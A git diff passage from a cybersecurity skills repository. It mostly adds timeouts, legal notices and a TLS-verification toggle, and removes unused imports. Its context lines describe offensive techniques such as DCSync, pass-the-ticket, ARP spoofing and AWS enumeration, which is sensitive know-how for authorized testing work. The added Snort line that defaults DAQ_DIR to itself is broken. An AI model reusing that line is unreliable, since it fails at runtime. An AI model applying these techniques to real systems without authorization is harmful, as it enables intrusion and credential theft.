"Reservations[*].Instances[*].[InstanceId,InstanceType,State.Name]", "--output", "json", ] - r = subprocess.run(cmd, capture_output=True, text=True) + r = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if r.returncode == 0: instances = json.loads(r.stdout) running = [i for reservation in instances for i in reservation if i[2] == "running"] diff --git a/skills/containing-active-security-breach/LICENSE b/skills/conducting-cloud-infrastructure-penetration-test.bak/LICENSE similarity index 100% rename from skills/containing-active-security-breach/LICENSE rename to skills/conducting-cloud-infrastructure-penetration-test.bak/LICENSE diff --git a/skills/conducting-cloud-infrastructure-penetration-test/SKILL.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/SKILL.md similarity index 100% rename from skills/conducting-cloud-infrastructure-penetration-test/SKILL.md rename to skills/conducting-cloud-infrastructure-penetration-test.bak/SKILL.md diff --git a/skills/conducting-cloud-infrastructure-penetration-test/assets/template.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/assets/template.md similarity index 100% rename from skills/conducting-cloud-infrastructure-penetration-test/assets/template.md rename to skills/conducting-cloud-infrastructure-penetration-test.bak/assets/template.md diff --git a/skills/conducting-cloud-infrastructure-penetration-test/references/api-reference.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/references/api-reference.md similarity index 100% rename from skills/conducting-cloud-infrastructure-penetration-test/references/api-reference.md rename to skills/conducting-cloud-infrastructure-penetration-test.bak/references/api-reference.md diff --git a/skills/conducting-cloud-infrastructure-penetration-test/references/standards.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/references/standards.md similarity index 100% rename from skills/conducting-cloud-infrastructure-penetration-test/references/standards.md rename to skills/conducting-cloud-infrastructure-penetration-test.bak/references/standards.md diff --git a/skills/conducting-cloud-infrastructure-penetration-test/references/workflows.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/references/workflows.md similarity index 100% rename from skills/conducting-cloud-infrastructure-penetration-test/references/workflows.md rename to skills/conducting-cloud-infrastructure-penetration-test.bak/references/workflows.md diff --git a/skills/conducting-cloud-infrastructure-penetration-test/scripts/agent.py b/skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/agent.py similarity index 100% rename from skills/conducting-cloud-infrastructure-penetration-test/scripts/agent.py rename to skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/agent.py diff --git a/skills/conducting-cloud-infrastructure-penetration-test/scripts/process.py b/skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/process.py similarity index 100% rename from skills/conducting-cloud-infrastructure-penetration-test/scripts/process.py rename to skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/process.py diff --git a/skills/conducting-cloud-penetration-testing/scripts/agent.py b/skills/conducting-cloud-penetration-testing/scripts/agent.py index 30899b8f..8d7f13bc 100644 --- a/skills/conducting-cloud-penetration-testing/scripts/agent.py +++ b/skills/conducting-cloud-penetration-testing/scripts/agent.py @@ -8,7 +8,6 @@ import argparse import subprocess from datetime import datetime -import requests logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) @@ -17,7 +16,7 @@ logger = logging.getLogger(__name__) def enumerate_iam_users(): """Enumerate all IAM users in the AWS account.""" cmd = ["aws", "iam", "list-users", "--output", "json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: users = json.loads(result.stdout).get("Users", []) logger.info("Enumerated %d IAM users", len(users)) @@ -28,7 +27,7 @@ def enumerate_iam_users(): def enumerate_iam_roles(): """Enumerate IAM roles and identify cross-account trust relationships.""" cmd = ["aws", "iam", "list-roles", "--output", "json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: roles = json.loads(result.stdout).get("Roles", []) cross_account = [] @@ -55,7 +54,7 @@ def check_imds_v1_instances(): "--query", "Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens,State.Name]", "--output", "json", ] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: instances = json.loads(result.stdout) vulnerable = [] @@ -71,14 +70,14 @@ def check_imds_v1_instances(): def check_public_s3_buckets(): """Enumerate S3 buckets and check for public access.""" cmd = ["aws", "s3api", "list-buckets", "--query", "Buckets[*].Name", "--output", "text"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode != 0: return [] buckets = result.stdout.strip().split() public_buckets = [] for bucket in buckets: status_cmd = ["aws", "s3api", "get-bucket-policy-status", "--bucket", bucket, "--output", "json"] - r = subprocess.run(status_cmd, capture_output=True, text=True) + r = subprocess.run(status_cmd, capture_output=True, text=True, timeout=120) if r.returncode == 0: policy_status = json.loads(r.stdout) if policy_status.get("PolicyStatus", {}).get("IsPublic", False): @@ -90,7 +89,7 @@ def check_public_s3_buckets(): def check_lambda_env_secrets(): """Check Lambda functions for secrets in environment variables.""" cmd = ["aws", "lambda", "list-functions", "--query", "Functions[*].FunctionName", "--output", "text"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode != 0: return [] functions = result.stdout.strip().split() @@ -103,7 +102,7 @@ def check_lambda_env_secrets(): "--query", "Environment.Variables", "--output", "json", ] - r = subprocess.run(env_cmd, capture_output=True, text=True) + r = subprocess.run(env_cmd, capture_output=True, text=True, timeout=120) if r.returncode == 0 and r.stdout.strip() != "null": env_vars = json.loads(r.stdout) exposed = [k for k in env_vars if any(s in k.lower() for s in sensitive_keys)] @@ -121,7 +120,7 @@ def test_privesc_create_policy_version(policy_arn): "--action-names", "iam:CreatePolicyVersion", "--output", "json", ] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: eval_results = json.loads(result.stdout).get("EvaluationResults", []) for er in eval_results: diff --git a/skills/conducting-domain-persistence-with-dcsync/SKILL.md b/skills/conducting-domain-persistence-with-dcsync/SKILL.md index 5fd17781..a68e40c7 100644 --- a/skills/conducting-domain-persistence-with-dcsync/SKILL.md +++ b/skills/conducting-domain-persistence-with-dcsync/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Conducting Domain Persistence with DCSync + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6. @@ -32,7 +35,7 @@ DCSync is an attack technique that abuses the Microsoft Directory Replication Se - **T1098** - Account Manipulation - **T1078.002** - Valid Accounts: Domain Accounts -## Implementation Steps +## Workflow ### Phase 1: Identify Accounts with DCSync Rights 1. Enumerate principals with replication rights: diff --git a/skills/conducting-domain-persistence-with-dcsync/scripts/agent.py b/skills/conducting-domain-persistence-with-dcsync/scripts/agent.py index de07f24d..33cd54d4 100644 --- a/skills/conducting-domain-persistence-with-dcsync/scripts/agent.py +++ b/skills/conducting-domain-persistence-with-dcsync/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """DCSync attack detection and analysis agent using impacket and ldap3.""" import json diff --git a/skills/conducting-internal-network-penetration-test/SKILL.md b/skills/conducting-internal-network-penetration-test/SKILL.md index a4259803..f61c6bc0 100644 --- a/skills/conducting-internal-network-penetration-test/SKILL.md +++ b/skills/conducting-internal-network-penetration-test/SKILL.md @@ -23,6 +23,9 @@ An internal network penetration test simulates an attacker who has already gaine - Testing laptop with Kali Linux, Impacket, Responder, BloodHound - Coordination with IT/SOC for monitoring and emergency contacts + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Phase 1 — Network Discovery and Enumeration ### Initial Network Reconnaissance diff --git a/skills/conducting-internal-network-penetration-test/scripts/agent.py b/skills/conducting-internal-network-penetration-test/scripts/agent.py index 9af808e9..50ea93c4 100644 --- a/skills/conducting-internal-network-penetration-test/scripts/agent.py +++ b/skills/conducting-internal-network-penetration-test/scripts/agent.py @@ -1,8 +1,10 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Internal network penetration testing agent using nmap and impacket.""" import json -import sys import argparse import subprocess import socket diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md index 10ee6a70..1802d5df 100644 --- a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Conducting Internal Reconnaissance with BloodHound CE + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview BloodHound Community Edition (CE) is a modern, web-based Active Directory reconnaissance platform developed by SpecterOps that uses graph theory to reveal hidden relationships and attack paths within AD environments. Unlike the legacy BloodHound application, BloodHound CE uses a PostgreSQL backend with a dedicated graph database, providing improved performance, a modern web UI, and enhanced API capabilities. Red teams use BloodHound CE to collect AD objects, ACLs, sessions, group memberships, and trust relationships, then visualize attack paths from compromised low-privileged accounts to high-value targets like Domain Admins. The SharpHound collector (v2 for CE) gathers data from Active Directory, while AzureHound collects from Azure AD / Entra ID environments. @@ -34,7 +37,7 @@ BloodHound Community Edition (CE) is a modern, web-based Active Directory reconn - **T1033** - System Owner/User Discovery - **T1016** - System Network Configuration Discovery -## Implementation Steps +## Workflow ### Phase 1: BloodHound CE Deployment 1. Deploy BloodHound CE using Docker Compose: diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/agent.py b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/agent.py index 34cb8cf0..5b995718 100644 --- a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/agent.py +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """BloodHound CE reconnaissance agent using bloodhound Python ingestor and Neo4j.""" import json diff --git a/skills/conducting-malware-incident-response/scripts/agent.py b/skills/conducting-malware-incident-response/scripts/agent.py index facdf27c..cbb465aa 100644 --- a/skills/conducting-malware-incident-response/scripts/agent.py +++ b/skills/conducting-malware-incident-response/scripts/agent.py @@ -4,6 +4,7 @@ import json import hashlib import logging +import os import argparse from datetime import datetime @@ -111,7 +112,7 @@ def search_enterprise_iocs(splunk_url, session_key, iocs): f"{splunk_url}/services/search/jobs", headers={"Authorization": f"Splunk {session_key}"}, data={"search": query, "output_mode": "json"}, - verify=False, timeout=30, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30, # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) return resp.json() if resp.status_code == 201 else [] diff --git a/skills/conducting-man-in-the-middle-attack-simulation/scripts/agent.py b/skills/conducting-man-in-the-middle-attack-simulation/scripts/agent.py index 573f8b09..3bff1661 100644 --- a/skills/conducting-man-in-the-middle-attack-simulation/scripts/agent.py +++ b/skills/conducting-man-in-the-middle-attack-simulation/scripts/agent.py @@ -5,10 +5,10 @@ import json import logging import argparse -import subprocess +import time from datetime import datetime -from scapy.all import ARP, Ether, srp, send, sniff, IP, TCP, get_if_hwaddr, conf +from scapy.all import ARP, Ether, srp, send, sniff, IP, TCP logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) @@ -127,7 +127,7 @@ def run_mitm_simulation(target_ip, gateway_ip, interface, duration=30): for _ in range(duration): arp_spoof(target_ip, gateway_ip, target_mac) arp_spoof(gateway_ip, target_ip, gateway_mac) - __import__("time").sleep(1) + time.sleep(1) except KeyboardInterrupt: pass finally: diff --git a/skills/conducting-mobile-app-penetration-test/SKILL.md b/skills/conducting-mobile-app-penetration-test/SKILL.md index 6c0a9575..be53d7a1 100644 --- a/skills/conducting-mobile-app-penetration-test/SKILL.md +++ b/skills/conducting-mobile-app-penetration-test/SKILL.md @@ -35,6 +35,9 @@ license: Apache-2.0 - Static analysis tools: jadx (Android decompilation), Hopper/Ghidra (iOS binary analysis), MobSF (automated scanning) - Burp Suite Professional configured as proxy for intercepting mobile app traffic with CA certificate installed on the test device + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Static Analysis diff --git a/skills/detecting-cloud-cryptomining-activity/LICENSE b/skills/conducting-mobile-application-penetration-test.bak/LICENSE similarity index 100% rename from skills/detecting-cloud-cryptomining-activity/LICENSE rename to skills/conducting-mobile-application-penetration-test.bak/LICENSE diff --git a/skills/conducting-mobile-application-penetration-test/SKILL.md b/skills/conducting-mobile-application-penetration-test.bak/SKILL.md similarity index 100% rename from skills/conducting-mobile-application-penetration-test/SKILL.md rename to skills/conducting-mobile-application-penetration-test.bak/SKILL.md diff --git a/skills/conducting-mobile-application-penetration-test/references/api-reference.md b/skills/conducting-mobile-application-penetration-test.bak/references/api-reference.md similarity index 100% rename from skills/conducting-mobile-application-penetration-test/references/api-reference.md rename to skills/conducting-mobile-application-penetration-test.bak/references/api-reference.md diff --git a/skills/conducting-mobile-application-penetration-test/scripts/agent.py b/skills/conducting-mobile-application-penetration-test.bak/scripts/agent.py similarity index 99% rename from skills/conducting-mobile-application-penetration-test/scripts/agent.py rename to skills/conducting-mobile-application-penetration-test.bak/scripts/agent.py index 6cc1ea25..5b432b65 100644 --- a/skills/conducting-mobile-application-penetration-test/scripts/agent.py +++ b/skills/conducting-mobile-application-penetration-test.bak/scripts/agent.py @@ -2,7 +2,6 @@ """Mobile application penetration testing agent using Frida and objection.""" import json -import sys import argparse import subprocess from datetime import datetime diff --git a/skills/conducting-pass-the-ticket-attack/SKILL.md b/skills/conducting-pass-the-ticket-attack/SKILL.md index c882ff1a..4c1d60e2 100644 --- a/skills/conducting-pass-the-ticket-attack/SKILL.md +++ b/skills/conducting-pass-the-ticket-attack/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Conducting Pass-the-Ticket Attack + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets from memory (LSASS) on a compromised host, an attacker can inject those tickets into their own session to impersonate the ticket owner and access resources as that user. @@ -21,7 +24,7 @@ Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos - **T1558** - Steal or Forge Kerberos Tickets - **T1021.002** - Remote Services: SMB/Windows Admin Shares -## Implementation Steps +## Workflow ### Phase 1: Ticket Extraction 1. Gain local admin access on target workstation diff --git a/skills/conducting-pass-the-ticket-attack/scripts/agent.py b/skills/conducting-pass-the-ticket-attack/scripts/agent.py index 0b496b08..d4a0594b 100644 --- a/skills/conducting-pass-the-ticket-attack/scripts/agent.py +++ b/skills/conducting-pass-the-ticket-attack/scripts/agent.py @@ -1,8 +1,10 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Pass-the-Ticket attack detection agent using Windows event log analysis.""" import json -import sys import argparse from datetime import datetime diff --git a/skills/conducting-post-incident-lessons-learned/scripts/agent.py b/skills/conducting-post-incident-lessons-learned/scripts/agent.py index 13af6d2f..68474b8b 100644 --- a/skills/conducting-post-incident-lessons-learned/scripts/agent.py +++ b/skills/conducting-post-incident-lessons-learned/scripts/agent.py @@ -2,7 +2,6 @@ """Post-incident lessons learned analysis agent.""" import json -import sys import argparse from datetime import datetime diff --git a/skills/conducting-social-engineering-penetration-test/scripts/agent.py b/skills/conducting-social-engineering-penetration-test/scripts/agent.py index 64962c53..c9c532b6 100644 --- a/skills/conducting-social-engineering-penetration-test/scripts/agent.py +++ b/skills/conducting-social-engineering-penetration-test/scripts/agent.py @@ -22,13 +22,13 @@ class GoPhishClient: self.headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"} def _get(self, endpoint): - resp = requests.get(f"{self.base_url}/api/{endpoint}", headers=self.headers, verify=False) + resp = requests.get(f"{self.base_url}/api/{endpoint}", headers=self.headers, verify=False, timeout=30) resp.raise_for_status() return resp.json() def _post(self, endpoint, data): resp = requests.post(f"{self.base_url}/api/{endpoint}", headers=self.headers, - json=data, verify=False) + json=data, verify=False, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/conducting-social-engineering-pretext-call/scripts/agent.py b/skills/conducting-social-engineering-pretext-call/scripts/agent.py index d9cd9839..98317e68 100644 --- a/skills/conducting-social-engineering-pretext-call/scripts/agent.py +++ b/skills/conducting-social-engineering-pretext-call/scripts/agent.py @@ -2,7 +2,6 @@ """Social engineering pretext call planning and tracking agent.""" import json -import sys import argparse from datetime import datetime diff --git a/skills/conducting-spearphishing-simulation-campaign/SKILL.md b/skills/conducting-spearphishing-simulation-campaign/SKILL.md index aa4c8b9f..21e0a687 100644 --- a/skills/conducting-spearphishing-simulation-campaign/SKILL.md +++ b/skills/conducting-spearphishing-simulation-campaign/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Conducting Spearphishing Simulation Campaign + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview Spearphishing simulation is a targeted social engineering attack vector used by red teams to gain initial access. Unlike broad phishing campaigns, spearphishing uses OSINT-derived intelligence to craft highly personalized messages targeting specific individuals. This skill covers developing pretexts, building payloads, setting up email infrastructure, executing the campaign, and tracking results. @@ -35,7 +38,7 @@ Spearphishing simulation is a targeted social engineering attack vector used by - **T1583.001** - Acquire Infrastructure: Domains - **T1585.002** - Establish Accounts: Email Accounts -## Implementation Steps +## Workflow ### Phase 1: Pretext Development 1. Review OSINT findings for target personnel profiles diff --git a/skills/conducting-spearphishing-simulation-campaign/scripts/agent.py b/skills/conducting-spearphishing-simulation-campaign/scripts/agent.py index b49c253c..54cc85fa 100644 --- a/skills/conducting-spearphishing-simulation-campaign/scripts/agent.py +++ b/skills/conducting-spearphishing-simulation-campaign/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Spearphishing simulation campaign agent using GoPhish API.""" import json diff --git a/skills/conducting-wireless-network-penetration-test/scripts/agent.py b/skills/conducting-wireless-network-penetration-test/scripts/agent.py index ee026ae1..1c5962b8 100644 --- a/skills/conducting-wireless-network-penetration-test/scripts/agent.py +++ b/skills/conducting-wireless-network-penetration-test/scripts/agent.py @@ -73,7 +73,7 @@ def detect_weak_encryption(access_points): def capture_handshake(interface, target_bssid, channel, output_file, duration=60): """Capture WPA2 4-way handshake using airodump-ng.""" set_channel_cmd = ["iwconfig", interface, "channel", str(channel)] - subprocess.run(set_channel_cmd, capture_output=True) + subprocess.run(set_channel_cmd, capture_output=True, timeout=120) cmd = [ "airodump-ng", "--bssid", target_bssid, "--channel", str(channel), diff --git a/skills/configuring-aws-verified-access-for-ztna/scripts/agent.py b/skills/configuring-aws-verified-access-for-ztna/scripts/agent.py index c3ad9f8b..e85d057d 100644 --- a/skills/configuring-aws-verified-access-for-ztna/scripts/agent.py +++ b/skills/configuring-aws-verified-access-for-ztna/scripts/agent.py @@ -8,7 +8,6 @@ from datetime import datetime try: import boto3 - from botocore.exceptions import ClientError except ImportError: print("Install: pip install boto3") sys.exit(1) diff --git a/skills/configuring-certificate-authority-with-openssl/scripts/agent.py b/skills/configuring-certificate-authority-with-openssl/scripts/agent.py index 0cb2c4a8..75b610fc 100644 --- a/skills/configuring-certificate-authority-with-openssl/scripts/agent.py +++ b/skills/configuring-certificate-authority-with-openssl/scripts/agent.py @@ -4,13 +4,12 @@ import json import sys import argparse -import subprocess from datetime import datetime try: from cryptography import x509 from cryptography.x509.oid import NameOID - from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from datetime import timedelta except ImportError: diff --git a/skills/configuring-host-based-intrusion-detection/scripts/agent.py b/skills/configuring-host-based-intrusion-detection/scripts/agent.py index 13f8cde0..cccf5655 100644 --- a/skills/configuring-host-based-intrusion-detection/scripts/agent.py +++ b/skills/configuring-host-based-intrusion-detection/scripts/agent.py @@ -2,6 +2,7 @@ """Host-based intrusion detection agent using OSSEC/Wazuh API and osquery.""" import json +import os import sys import argparse import subprocess @@ -24,14 +25,16 @@ class WazuhClient: def _authenticate(self, username, password): resp = requests.post(f"{self.url}/security/user/authenticate", - auth=(username, password), verify=False) + auth=(username, password), + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() return resp.json()["data"]["token"] def _get(self, endpoint, params=None): resp = requests.get(f"{self.url}/{endpoint}", headers={"Authorization": f"Bearer {self.token}"}, - params=params, verify=False) + params=params, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() return resp.json() diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/scripts/agent.py b/skills/configuring-identity-aware-proxy-with-google-iap/scripts/agent.py index 4ba8d584..fca4063c 100644 --- a/skills/configuring-identity-aware-proxy-with-google-iap/scripts/agent.py +++ b/skills/configuring-identity-aware-proxy-with-google-iap/scripts/agent.py @@ -8,8 +8,6 @@ from datetime import datetime try: from google.cloud import iap_v1 - from google.cloud import resourcemanager_v3 - from google.iam.v1 import iam_policy_pb2 except ImportError: print("Install: pip install google-cloud-iap google-cloud-resource-manager") sys.exit(1) diff --git a/skills/configuring-microsegmentation-for-zero-trust/SKILL.md b/skills/configuring-microsegmentation-for-zero-trust/SKILL.md index fc8720c7..ed69d805 100644 --- a/skills/configuring-microsegmentation-for-zero-trust/SKILL.md +++ b/skills/configuring-microsegmentation-for-zero-trust/SKILL.md @@ -1,6 +1,6 @@ --- name: configuring-microsegmentation-for-zero-trust -description: Configuring Microsegmentation For Zero Trust +description: Configure microsegmentation policies to enforce least-privilege workload-to-workload access using tools like VMware NSX, Illumio, and Calico, preventing lateral movement in zero trust architectures. domain: cybersecurity subdomain: security-operations tags: [cybersecurity] @@ -68,7 +68,7 @@ Modern microsegmentation uses labels (role, application, environment, location) ### Ring-Fencing Isolate critical applications (PCI cardholder data environment, SWIFT financial systems, healthcare PHI) with strict allow-list policies that deny all traffic not explicitly permitted. -## Procedure +## Workflow ### Phase 1: Discovery and Mapping diff --git a/skills/configuring-microsegmentation-for-zero-trust/scripts/agent.py b/skills/configuring-microsegmentation-for-zero-trust/scripts/agent.py index 143418e5..ffe92a46 100644 --- a/skills/configuring-microsegmentation-for-zero-trust/scripts/agent.py +++ b/skills/configuring-microsegmentation-for-zero-trust/scripts/agent.py @@ -2,6 +2,7 @@ """Microsegmentation audit agent for zero trust network enforcement.""" import json +import os import sys import argparse from datetime import datetime @@ -51,7 +52,7 @@ def check_illumio_workloads(base_url, api_key, org_id): headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"} try: resp = requests.get(f"{base_url}/api/v2/orgs/{org_id}/workloads", - headers=headers, verify=False) + headers=headers, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() workloads = resp.json() return [{ diff --git a/skills/configuring-multi-factor-authentication-with-duo/SKILL.md b/skills/configuring-multi-factor-authentication-with-duo/SKILL.md index 0280c752..ab470d10 100644 --- a/skills/configuring-multi-factor-authentication-with-duo/SKILL.md +++ b/skills/configuring-multi-factor-authentication-with-duo/SKILL.md @@ -44,7 +44,7 @@ Deploy Cisco Duo multi-factor authentication across enterprise applications, VPN - **Device Health**: Block or require MFA based on OS patch level, encryption, firewall - **Risk-Based Authentication**: Step-up MFA for anomalous login patterns -## Implementation Steps +## Workflow ### Step 1: Duo Authentication Proxy Setup 1. Deploy Duo Authentication Proxy on Windows/Linux server diff --git a/skills/configuring-multi-factor-authentication-with-duo/scripts/agent.py b/skills/configuring-multi-factor-authentication-with-duo/scripts/agent.py index 74047551..21f2bb1e 100644 --- a/skills/configuring-multi-factor-authentication-with-duo/scripts/agent.py +++ b/skills/configuring-multi-factor-authentication-with-duo/scripts/agent.py @@ -6,7 +6,6 @@ import sys import argparse import hmac import hashlib -import time import email.utils import urllib.parse from datetime import datetime @@ -41,7 +40,7 @@ class DuoAdminClient: params = params or {} headers = self._sign("GET", endpoint, params) resp = requests.get(f"https://{self.host}{endpoint}", - headers=headers, params=params) + headers=headers, params=params, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/configuring-oauth2-authorization-flow/SKILL.md b/skills/configuring-oauth2-authorization-flow/SKILL.md index 9cd0a178..54c75934 100644 --- a/skills/configuring-oauth2-authorization-flow/SKILL.md +++ b/skills/configuring-oauth2-authorization-flow/SKILL.md @@ -42,7 +42,7 @@ PKCE (RFC 7636) prevents authorization code interception attacks: - **Refresh Token**: Long-lived, single-use with rotation - **ID Token (OIDC)**: JWT containing user identity claims -## Implementation Steps +## Workflow ### Step 1: Authorization Code Flow with PKCE 1. Generate cryptographically random code_verifier (min 43 chars) diff --git a/skills/configuring-oauth2-authorization-flow/scripts/agent.py b/skills/configuring-oauth2-authorization-flow/scripts/agent.py index f9eee381..208ea557 100644 --- a/skills/configuring-oauth2-authorization-flow/scripts/agent.py +++ b/skills/configuring-oauth2-authorization-flow/scripts/agent.py @@ -4,7 +4,6 @@ import json import sys import argparse -import urllib.parse from datetime import datetime try: diff --git a/skills/configuring-pfsense-firewall-rules/scripts/agent.py b/skills/configuring-pfsense-firewall-rules/scripts/agent.py index 5b96036a..810a8a2b 100644 --- a/skills/configuring-pfsense-firewall-rules/scripts/agent.py +++ b/skills/configuring-pfsense-firewall-rules/scripts/agent.py @@ -3,6 +3,7 @@ import json import logging +import os import argparse from datetime import datetime @@ -22,25 +23,25 @@ class PfSenseAPI: "Authorization": f"{api_key} {api_secret}", "Content-Type": "application/json", }) - self.session.verify = False + self.session.verify = not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true" # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments def get(self, endpoint): - resp = self.session.get(f"{self.base_url}/api/v1/{endpoint}") + resp = self.session.get(f"{self.base_url}/api/v1/{endpoint}", timeout=30) resp.raise_for_status() return resp.json() def post(self, endpoint, data): - resp = self.session.post(f"{self.base_url}/api/v1/{endpoint}", json=data) + resp = self.session.post(f"{self.base_url}/api/v1/{endpoint}", json=data, timeout=30) resp.raise_for_status() return resp.json() def put(self, endpoint, data): - resp = self.session.put(f"{self.base_url}/api/v1/{endpoint}", json=data) + resp = self.session.put(f"{self.base_url}/api/v1/{endpoint}", json=data, timeout=30) resp.raise_for_status() return resp.json() def delete(self, endpoint, data=None): - resp = self.session.delete(f"{self.base_url}/api/v1/{endpoint}", json=data) + resp = self.session.delete(f"{self.base_url}/api/v1/{endpoint}", json=data, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/configuring-snort-ids-for-intrusion-detection/scripts/agent.py b/skills/configuring-snort-ids-for-intrusion-detection/scripts/agent.py index 4cbca8bc..3af0441d 100644 --- a/skills/configuring-snort-ids-for-intrusion-detection/scripts/agent.py +++ b/skills/configuring-snort-ids-for-intrusion-detection/scripts/agent.py @@ -10,10 +10,11 @@ from datetime import datetime from pathlib import Path -SNORT_BIN = "/usr/local/bin/snort" -SNORT_CONF = "/usr/local/etc/snort/snort.lua" -RULES_DIR = "/usr/local/etc/snort/rules" -LOG_DIR = "/var/log/snort" +SNORT_BIN = os.environ.get("SNORT_BIN", "/usr/local/bin/snort") +SNORT_CONF = os.environ.get("SNORT_CONF", "/usr/local/etc/snort/snort.lua") +RULES_DIR = os.environ.get("SNORT_RULES_DIR", "/usr/local/etc/snort/rules") +LOG_DIR = os.environ.get("SNORT_LOG_DIR", "/var/log/snort") +DAQ_DIR = os.environ.get("SNORT_DAQ_DIR", DAQ_DIR) def check_snort_installed(): @@ -36,7 +37,7 @@ def validate_configuration(config_path=SNORT_CONF): """Validate Snort configuration file syntax.""" try: result = subprocess.run( - [SNORT_BIN, "-c", config_path, "--daq-dir", "/usr/local/lib/daq", "-T"], + [SNORT_BIN, "-c", config_path, "--daq-dir", DAQ_DIR, "-T"], capture_output=True, text=True, timeout=60 ) success = result.returncode == 0 @@ -134,7 +135,7 @@ def 